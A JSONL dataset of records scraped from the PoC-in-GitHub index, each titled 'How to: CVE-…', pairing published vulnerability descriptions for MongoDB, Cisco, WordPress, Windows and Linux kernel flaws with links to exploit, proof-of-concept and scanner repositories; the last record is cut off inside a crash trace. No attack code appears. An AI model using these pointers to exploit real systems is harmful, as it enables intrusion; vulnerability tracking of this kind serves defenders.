{"id": "gh_94a6c27ea57b", "question": "How to: CVE-2025-14847 (2025-12-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized heap memory by an unauthenticated client. This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0.\n```\n- [sakthivel10q/CVE-2025-14847](https://github.com/sakthivel10q/CVE-2025-14847)\n- [onewinner/CVE-2025-14847](https://github.com/onewinner/CVE-2025-14847)\n- [ProbiusOfficial/CVE-2025-14847](https://github.com/ProbiusOfficial/CVE-2025-14847)\n- [cybertechajju/CVE-2025-14847_Expolit](https://github.com/cybertechajju/CVE-2025-14847_Expolit)\n- [KingHacker353/CVE-2025-14847_Expolit](https://github.com/KingHacker353/CVE-2025-14847_Expolit)\n- [Ashwesker/Ashwesker-CVE-2025-14847](https://github.com/Ashwesker/Ashwesker-CVE-2025-14847)\n- [Black1hp/mongobleed-scanner](https://github.com/Black1hp/mongobleed-scanner)\n- [nma-io/mongobleed](https://github.com/nma-io/mongobleed)\n- [saereya/CVE-2025-14847---MongoBleed](https://github.com/saereya/CVE-2025-14847---MongoBleed)\n- [JemHadar/MongoBleed-DFIR-Triage-Script-CVE-2025-14847](https://github.com/JemHadar/MongoBleed-DFIR-Triage-Script-CVE-2025-14847)\n- [franksec42/mongobleed-exploit-CVE-2025-14847](https://github.com/franksec42/mongobleed-exploit-CVE-2025-14847)\n- [lincemorado97/CVE-2025-14847](https://github.com/lincemorado97/CVE-2025-14847)\n- [Security-Phoenix-demo/mongobleed-exploit-CVE-2025-14847](https://github.com/Security-Phoenix-demo/mongobleed-exploit-CVE-2025-14847)\n- [chinaxploiter/CVE-2025-14847-PoC](https://github.com/chinaxploiter/CVE-2025-14847-PoC)\n- [14mb1v45h/CYBERDUDEBIVASH-MONGODB-DETECTOR-v2026](https://github.com/14mb1v45h/CYBERDUDEBIVASH-MONGODB-DETECTOR-v2026)\n- [kuyrathdaro/cve-2025-14847](https://github.com/kuyrathdaro/cve-2025-14847)\n- [joshuavanderpoll/CVE-2025-14847](https://github.com/joshuavanderpoll/CVE-2025-14847)\n- [tunahantekeoglu/MongoDeepDive](https://github.com/tunahantekeoglu/MongoDeepDive)\n- [vfa-tuannt/CVE-2025-14847](https://github.com/vfa-tuannt/CVE-2025-14847)\n- [j0lt-github/mongobleedburp](https://github.com/j0lt-github/mongobleedburp)\n- [FurkanKAYAPINAR/CVE-2025-14847-MongoBleed-Exploit](https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoBleed-Exploit)\n- [NoNameError/MongoBLEED---CVE-2025-14847-POC-](https://github.com/NoNameError/MongoBLEED---CVE-2025-14847-POC-)\n- [Rishi-kaul/CVE-2025-14847-MongoBleed](https://github.com/Rishi-kaul/CVE-2025-14847-MongoBleed)\n- [Systemhaus-Schulz/MongoBleed-CVE-2025-14847](https://github.com/Systemhaus-Schulz/MongoBleed-CVE-2025-14847)\n- [demetriusford/mongobleed](https://github.com/demetriusford/mongobleed)\n- [ElJoamy/MongoBleed-exploit](https://github.com/ElJoamy/MongoBleed-exploit)\n- [keraattin/Mongobleed-Detector-CVE-2025-14847](https://github.com/keraattin/Mongobleed-Detector-CVE-2025-14847)\n- [waheeb71/CVE-2025-14847](https://github.com/waheeb71/CVE-2025-14847)\n- [CadGoose/MongoBleed-CVE-2025-14847-Fully-Automated-scanner](https://github.com/CadGoose/MongoBleed-CVE-2025-14847-Fully-Automated-scanner)\n- [AdolfBharath/mongobleed](https://github.com/AdolfBharath/mongobleed)\n- [sahar042/CVE-2025-14847](https://github.com/sahar042/CVE-2025-14847)\n- [peakcyber-security/CVE-2025-14847](https://github.com/peakcyber-security/CVE-2025-14847)\n- [alexcyberx/CVE-2025-14847_Expolit](https://github.com/alexcyberx/CVE-2025-14847_Expolit)\n- [pedrocruz2202/mongobleed-scanner](https://github.com/pedrocruz2202/mongobleed-scanner)\n- [pedrocruz2202/pedrocruz2202.github.io](https://github.com/pedrocruz2202/pedrocruz2202.github.io)\n- [sakthivel10q/sakthivel10q.github.io](https://github.com/sakthivel10q/sakthivel10q.github.io)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154320"}
{"id": "gh_3265e79b41c2", "question": "How to: CVE-2025-14857", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Ermensonx/CVE-2025-14857-MongoBleed](https://github.com/Ermensonx/CVE-2025-14857-MongoBleed)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154327"}
{"id": "gh_1cf4977e0fda", "question": "How to: CVE-2025-14998 (2026-01-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Branda plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.4.24. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.\n```\n- [KTN1990/CVE-2025-14998](https://github.com/KTN1990/CVE-2025-14998)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154332"}
{"id": "gh_30fbb7ba10d5", "question": "How to: CVE-2025-15177 (2025-12-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability has been found in Tenda WH450 1.0.0.18. This vulnerability affects unknown code of the file /goform/SetIpBind of the component HTTP Request Handler. The manipulation of the argument page leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.\n```\n- [yt2w/CVE-2025-15177](https://github.com/yt2w/CVE-2025-15177)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154336"}
{"id": "gh_a5d79176fbfd", "question": "How to: CVE-2025-15495 (2026-01-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability was found in BiggiDroid Simple PHP CMS 1.0. This impacts an unknown function of the file /admin/editsite.php. The manipulation of the argument image results in unrestricted upload. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.\n```\n- [Asim-QAZi/RCE-Simplephpblog-biggiedroid](https://github.com/Asim-QAZi/RCE-Simplephpblog-biggiedroid)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154341"}
{"id": "gh_5ea945018cde", "question": "How to: CVE-2025-20029 (2025-02-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCommand injection vulnerability exists in iControl REST and BIG-IP TMOS Shell (tmsh) save command, which may allow an authenticated attacker to execute arbitrary system commands.\\n\\n \\n\\n\\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n```\n- [mbadanoiu/CVE-2025-20029](https://github.com/mbadanoiu/CVE-2025-20029)\n- [schoi1337/CVE-2025-20029-simulation](https://github.com/schoi1337/CVE-2025-20029-simulation)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154345"}
{"id": "gh_47fd71d58cef", "question": "How to: CVE-2025-20124 (2025-02-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in an API of Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands as the root user on an affected device.\\r\\n\\r\\nThis vulnerability is due to insecure deserialization of user-supplied Java byte streams by the affected software. An attacker could exploit this vulnerability by sending a crafted serialized Java object to an affected API. A successful exploit could allow the attacker to execute arbitrary commands on the device and elevate privileges.\\r\\nNote:&nbsp;To successfully exploit this vulnerability, the attacker must have valid read-only administrative credentials. In a single-node deployment, new devices will not be able to authenticate during the reload time.\n```\n- [Yuri08loveElaina/CVE-2025-20124_and_CVE-2025-20125](https://github.com/Yuri08loveElaina/CVE-2025-20124_and_CVE-2025-20125)\n- [ftz7/Cisco-ISE-3.0---Remote-Code-Execution-RCE-](https://github.com/ftz7/Cisco-ISE-3.0---Remote-Code-Execution-RCE-)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154351"}
{"id": "gh_f84f7ef520e2", "question": "How to: CVE-2025-20260 (2025-06-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in the PDF scanning processes of ClamAV could allow an unauthenticated, remote attacker to cause a buffer overflow condition, cause a denial of service (DoS) condition, or execute arbitrary code on an affected device.\\r\\n\\r\\nThis vulnerability exists because memory buffers are allocated incorrectly when PDF files are processed. An attacker could exploit this vulnerability by submitting a crafted PDF file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to trigger a buffer overflow, likely resulting in the termination of the ClamAV scanning process and a DoS condition on the affected software. Although unproven, there is also a possibility that an attacker could leverage the buffer overflow to execute arbitrary code with the privileges of the ClamAV process.\n```\n- [keyuraghao/CVE-2025-20260](https://github.com/keyuraghao/CVE-2025-20260)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154356"}
{"id": "gh_1799f5fc16e0", "question": "How to: CVE-2025-20265 (2025-08-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in the RADIUS subsystem implementation of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to inject arbitrary shell commands that are executed by the device.&nbsp;\\r\\n\\r\\nThis vulnerability is due to a lack of proper handling of user input during the authentication phase. An attacker could exploit this vulnerability by sending crafted input when entering credentials that will be authenticated at the configured RADIUS server. A successful exploit could allow the attacker to execute commands at a high&nbsp;privilege level.\\r\\nNote: For this vulnerability to be exploited, Cisco Secure FMC Software must be configured for RADIUS authentication for the web-based management interface, SSH management, or both.\n```\n- [jordan922/cve2025-20265](https://github.com/jordan922/cve2025-20265)\n- [saruman9/cve_2025_20265](https://github.com/saruman9/cve_2025_20265)\n- [amalpvatayam67/day08-CISCO-fmc-sim](https://github.com/amalpvatayam67/day08-CISCO-fmc-sim)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154362"}
{"id": "gh_61e884ad5951", "question": "How to: CVE-2025-20281 (2025-06-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability.\\r\\n\\r\\nThis vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device.\n```\n- [abrewer251/CVE-2025-20281-2-Cisco-ISE-RCE](https://github.com/abrewer251/CVE-2025-20281-2-Cisco-ISE-RCE)\n- [grupooruss/CVE-2025-20281-Cisco](https://github.com/grupooruss/CVE-2025-20281-Cisco)\n- [ill-deed/Cisco-CVE-2025-20281-illdeed](https://github.com/ill-deed/Cisco-CVE-2025-20281-illdeed)\n- [Ashwesker/Ashwesker-CVE-2025-20281](https://github.com/Ashwesker/Ashwesker-CVE-2025-20281)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154372"}
{"id": "gh_075619525955", "question": "How to: CVE-2025-20282 (2025-06-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in an internal API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to upload arbitrary files to an affected device and then execute those files on the underlying operating system as root.\\r\\n\\r\\nThis vulnerability is due a lack of file validation checks that would prevent uploaded files from being placed in privileged directories on an affected system. An attacker could exploit this vulnerability by uploading a crafted file to the affected device. A successful exploit could allow the attacker to store malicious files on the affected system and then execute arbitrary code or obtain root privileges on the system.\n```\n- [skadevare/CiscoISE-CVE-2025-20282-POC](https://github.com/skadevare/CiscoISE-CVE-2025-20282-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154378"}
{"id": "gh_6b07a99fcb62", "question": "How to: CVE-2025-20337 (2025-07-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability.\\r\\n\\r\\nThis vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device.\n```\n- [Ashwesker/Ashwesker-CVE-2025-20337](https://github.com/Ashwesker/Ashwesker-CVE-2025-20337)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154382"}
{"id": "gh_4fb29bd4eef7", "question": "How to: CVE-2025-20352 (2025-09-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in the Simple Network Management Protocol (SNMP) subsystem of Cisco IOS Software and Cisco IOS XE Software could allow the following:\\r\\n\\r \\r An authenticated, remote attacker with low privileges could cause a denial of service (DoS) condition on an affected device that is running Cisco IOS Software or Cisco IOS XE Software. To cause the DoS, the attacker must have the SNMPv2c or earlier read-only community string or valid SNMPv3 user credentials. \\r An authenticated, remote attacker with high privileges could execute code as the root user on an affected device that is running Cisco IOS XE Software. To execute code as the root user, the attacker must have the SNMPv1 or v2c read-only community string or valid SNMPv3 user credentials and administrative or privilege 15 credentials on the affected device. \\r \\r An attacker could exploit this vulnerability by sending a crafted SNMP packet to an affected device over IPv4 or IPv6 networks. \\r\\n\\r This vulnerability is due to a stack overflow condition in the SNMP subsystem of the affected software. A successful exploit could allow a low-privileged attacker to cause the affected system to reload, resulting in a DoS condition, or allow a high-privileged attacker to execute arbitrary code as the root user and obtain full control of the affected system.\\r\\n\\r Note: This vulnerability affects all versions of SNMP.\n```\n- [scadastrangelove/CVE-2025-20352](https://github.com/scadastrangelove/CVE-2025-20352)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154389"}
{"id": "gh_379d5074ab8c", "question": "How to: CVE-2025-20384 (2025-12-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn Splunk Enterprise versions below 10.0.1, 9.4.6, 9.3.8, and 9.2.10, and Splunk Cloud Platform versions below 10.1.2507.4, 10.0.2503.6, and 9.3.2411.117.125, an unauthenticated attacker can inject American National Standards Institute (ANSI) escape codes into Splunk log files due to improper validation at the /en-US/static/ web endpoint. This may allow them to poison, forge, or obfuscate sensitive log data through specially crafted HTTP requests, potentially impacting log integrity and detection capabilities.\n```\n- [Axselll/CVE-2025-20384](https://github.com/Axselll/CVE-2025-20384)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154394"}
{"id": "gh_19749fd16661", "question": "How to: CVE-2025-20393 (2025-12-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in the Spam Quarantine feature of Cisco AsyncOS Software for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager could allow an unauthenticated, remote attacker to execute arbitrary system commands on an affected device with root privileges.\\r\\n\\r\\nThis vulnerability is due to insufficient validation of HTTP requests by the Spam Quarantine feature. An attacker could exploit this vulnerability by sending a crafted HTTP request to the affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with&nbsp;root privileges.\n```\n- [cyberleelawat/CVE-2025-20393](https://github.com/cyberleelawat/CVE-2025-20393)\n- [KingHacker353/CVE-2025-20393](https://github.com/KingHacker353/CVE-2025-20393)\n- [StasonJatham/cisco-sa-sma-attack-N9bf4](https://github.com/StasonJatham/cisco-sa-sma-attack-N9bf4)\n- [Ashwesker/Ashwesker-CVE-2025-20393](https://github.com/Ashwesker/Ashwesker-CVE-2025-20393)\n- [MRH701/mrh701.github.io](https://github.com/MRH701/mrh701.github.io)\n- [cyberdudebivash/CYBERDUDEBIVASH-Cisco-AsyncOS-CVE-2025-20393-Scanner](https://github.com/cyberdudebivash/CYBERDUDEBIVASH-Cisco-AsyncOS-CVE-2025-20393-Scanner)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154399"}
{"id": "gh_03a7e6640a04", "question": "How to: CVE-2025-21202 (2025-01-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWindows Recovery Environment Agent Elevation of Privilege Vulnerability\n```\n- [7amzahard/CVE-2025-21202-exploit](https://github.com/7amzahard/CVE-2025-21202-exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154406"}
{"id": "gh_cda4f7877a55", "question": "How to: CVE-2025-21204 (2025-04-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper link resolution before file access ('link following') in Windows Update Stack allows an authorized attacker to elevate privileges locally.\n```\n- [mmotti/Reset-inetpub](https://github.com/mmotti/Reset-inetpub)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154410"}
{"id": "gh_f8c85095a96d", "question": "How to: CVE-2025-21293 (2025-01-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nActive Directory Domain Services Elevation of Privilege Vulnerability\n```\n- [ahmedumarehman/CVE-2025-21293](https://github.com/ahmedumarehman/CVE-2025-21293)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154414"}
{"id": "gh_328873864fbd", "question": "How to: CVE-2025-21298 (2025-01-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWindows OLE Remote Code Execution Vulnerability\n```\n- [ynwarcs/CVE-2025-21298](https://github.com/ynwarcs/CVE-2025-21298)\n- [Dit-Developers/CVE-2025-21298](https://github.com/Dit-Developers/CVE-2025-21298)\n- [Denyningbow/rtf-ctf-cve-2025-21298](https://github.com/Denyningbow/rtf-ctf-cve-2025-21298)\n- [Ashwesker/Ashwesker-CVE-2025-21298](https://github.com/Ashwesker/Ashwesker-CVE-2025-21298)\n- [fy-poc/full-poc-CVE-2025_21298](https://github.com/fy-poc/full-poc-CVE-2025_21298)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154421"}
{"id": "gh_cc20e381edd8", "question": "How to: CVE-2025-21333 (2025-01-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWindows Hyper-V NT Kernel Integration VSP Elevation of Privilege Vulnerability\n```\n- [MrAle98/CVE-2025-21333-POC](https://github.com/MrAle98/CVE-2025-21333-POC)\n- [aleongx/KQL_sentinel_CVE-2025-21333](https://github.com/aleongx/KQL_sentinel_CVE-2025-21333)\n- [Ashwesker/Ashwesker-CVE-2025-21333](https://github.com/Ashwesker/Ashwesker-CVE-2025-21333)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154426"}
{"id": "gh_c318deb948a8", "question": "How to: CVE-2025-21385 (2025-01-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Server-Side Request Forgery (SSRF) vulnerability in Microsoft Purview allows an authorized attacker to disclose information over a network.\n```\n- [Pauloxc6/CVE-2025-21385](https://github.com/Pauloxc6/CVE-2025-21385)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154430"}
{"id": "gh_10a5b41bd9ae", "question": "How to: CVE-2025-21420 (2025-02-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWindows Disk Cleanup Tool Elevation of Privilege Vulnerability\n```\n- [Network-Sec/CVE-2025-21420-PoC](https://github.com/Network-Sec/CVE-2025-21420-PoC)\n- [toxy4ny/edge-maradeur](https://github.com/toxy4ny/edge-maradeur)\n- [moiz-2x/CVE-2025-21420_POC](https://github.com/moiz-2x/CVE-2025-21420_POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154434"}
{"id": "gh_c9d540842bfe", "question": "How to: CVE-2025-21479 (2025-06-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMemory corruption due to unauthorized command execution in GPU micronode while executing specific sequence of commands.\n```\n- [zhuowei/cheese](https://github.com/zhuowei/cheese)\n- [sarabpal-dev/cheese-cake](https://github.com/sarabpal-dev/cheese-cake)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154438"}
{"id": "gh_cdbb5e3bdac6", "question": "How to: CVE-2025-21574 (2025-04-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVulnerability in the MySQL Server product of Oracle MySQL (component: Server: Parser).  Supported versions that are affected are 8.0.0-8.0.41, 8.4.0-8.4.4 and  9.0.0-9.2.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n```\n- [mdriaz009/CVE-2025-21574-Exploit](https://github.com/mdriaz009/CVE-2025-21574-Exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154443"}
{"id": "gh_f728efbac555", "question": "How to: CVE-2025-21628 (2025-01-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nChatwoot is a customer engagement suite. Prior to 3.16.0, conversation and contact filters endpoints did not sanitize the input of query_operator passed from the frontend or the API. This provided any actor who is authenticated, an attack vector to run arbitrary SQL within the filter query by adding a tautological WHERE clause. This issue is patched with v3.16.0.\n```\n- [elahehasanpour/chatwoot-cve-2025-21628](https://github.com/elahehasanpour/chatwoot-cve-2025-21628)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154448"}
{"id": "gh_c87b64856714", "question": "How to: CVE-2025-21692 (2025-02-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\nnet: sched: fix ets qdisc OOB Indexing\\n\\nHaowei Yan <g1042620637@gmail.com> found that ets_class_from_arg() can\\nindex an Out-Of-Bound class in ets_class_from_arg() when passed clid of\\n0. The overflow may cause local privilege escalation.\\n\\n [   18.852298] ------------[ cut here ]------------\\n [   18.853271] UBSAN: array-index-out-of-bounds in net/sched/sch_ets.c:93:20\\n [   18.853743] index 18446744073709551615 is out of range for type 'ets_class [16]'\\n [   18.854254] CPU: 0 UID: 0 PID: 1275 Comm: poc Not tainted 6.12.6-dirty #17\\n [   18.854821] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\\n [   18.856532] Call Trace:\\n [   18.857441]  <TASK>\\n [   18.858227]  dump_stack_lvl+0xc2/0xf0\\n [   18.859607]  dump_stack+0x10/0x20\\n [   18.860908]  __ubsan_handle_out_of_bounds+0xa7/0xf0\\n [   18.864022]  ets_class_change+0x3d6/0x3f0\\n [   18.864322]  tc_ctl_tclass+0x251/0x910\\n [   18.864587]  ? lock_acquire+0x5e/0x140\\n [   18.865113]  ? __mutex_lock+0x9c/0xe70\\n [   18.866009]  ? __mutex_lock+0xa34/0xe70\\n [   18.866401]  rtnetlink_rcv_msg+0x170/0x6f0\\n [   18.866806]  ? __lock_acquire+0x578/0xc10\\n [   18.867184]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10\\n [   18.867503]  netlink_rcv_skb+0x59/0x110\\n [   18.867776]  rtnetlink_rcv+0x15/0x30\\n [   18.868159]  netlink_unicast+0x1c3/0x2b0\\n [   18.868440]  netlink_sendmsg+0x239/0x4b0\\n [   18.868721]  ____sys_sendmsg+0x3e2/0x410\\n [   18.869012]  ___sys_sendmsg+0x88/0xe0\\n [   18.869276]  ? rseq_ip_fixup+0x198/0x260\\n [   18.869563]  ? rseq_update_cpu_node_id+0x10a/0x190\\n [   18.869900]  ? trace_hardirqs_off+0x5a/0xd0\\n [   18.870196]  ? syscall_exit_to_user_mode+0xcc/0x220\\n [   18.870547]  ? do_syscall_64+0x93/0x150\\n [   18.870821]  ? __memcg_slab_free_hook+0x69/0x290\\n [   18.871157]  __sys_sendmsg+0x69/0xd0\\n [   18.871416]  __x64_sys_sendmsg+0x1d/0x30\\n [   18.871699]  x64_sys_call+0x9e2/0x2670\\n [   18.871979]  do_syscall_64+0x87/0x150\\n [   18.873280]  ? do_syscall_64+0x93/0x150\\n [   18.874742]  ? lock_release+0x7b/0x160\\n [   18.876157]  ? do_user_addr_fault+0x5ce/0x8f0\\n [   18.877833]  ? irqentry_exit_to_user_mode+0xc2/0x210\\n [   18.879608]  ? irqentry_exit+0x77/0xb0\\n [   18.879808]  ? clear_bhb_loop+0x15/0x70\\n [   18.880023]  ? clear_bhb_loop+0x15/0x70\\n [   18.880223]  ? clear_bhb_loop+0x15/0x70\\n [   18.880426]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\\n [   18.880683] RIP: 0033:0x44a957\\n [   18.880851] Code: ff ff e8 fc 00 00 00 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 64 8b 04 